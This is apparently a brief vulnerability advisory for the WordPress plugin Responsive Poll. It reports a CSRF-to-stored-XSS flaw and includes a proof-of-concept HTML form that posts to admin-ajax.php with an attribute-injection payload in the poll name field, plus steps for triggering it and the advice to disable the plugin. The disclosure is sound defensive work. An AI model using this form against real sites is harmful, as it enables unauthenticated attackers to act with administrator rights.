CSRF/XSS in Responsive Poll allows unauthenticated attackers to do almost anything an admin can
Proof of concept
Create a poll. We assume that the ID of this poll will be 1.
Visit the following page and click submit (in a real attack the form can be submitted without user interaction):
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
<input type=\"text\" name=\"poll_id\" value=\"1\">
<input type=\"text\" name=\"action\" value=\"update_poll\">
<input type=\"text\" name=\"name\" value=\"" onfocus="alert(1)\">
Then visit http://localhost/wp-admin/admin.php?page=polls&action=edit&edit_poll=1 and focus the Question field (either via clicking on it or tabbing to it).
Disable the plugin until a new version is released that fixes this bug.
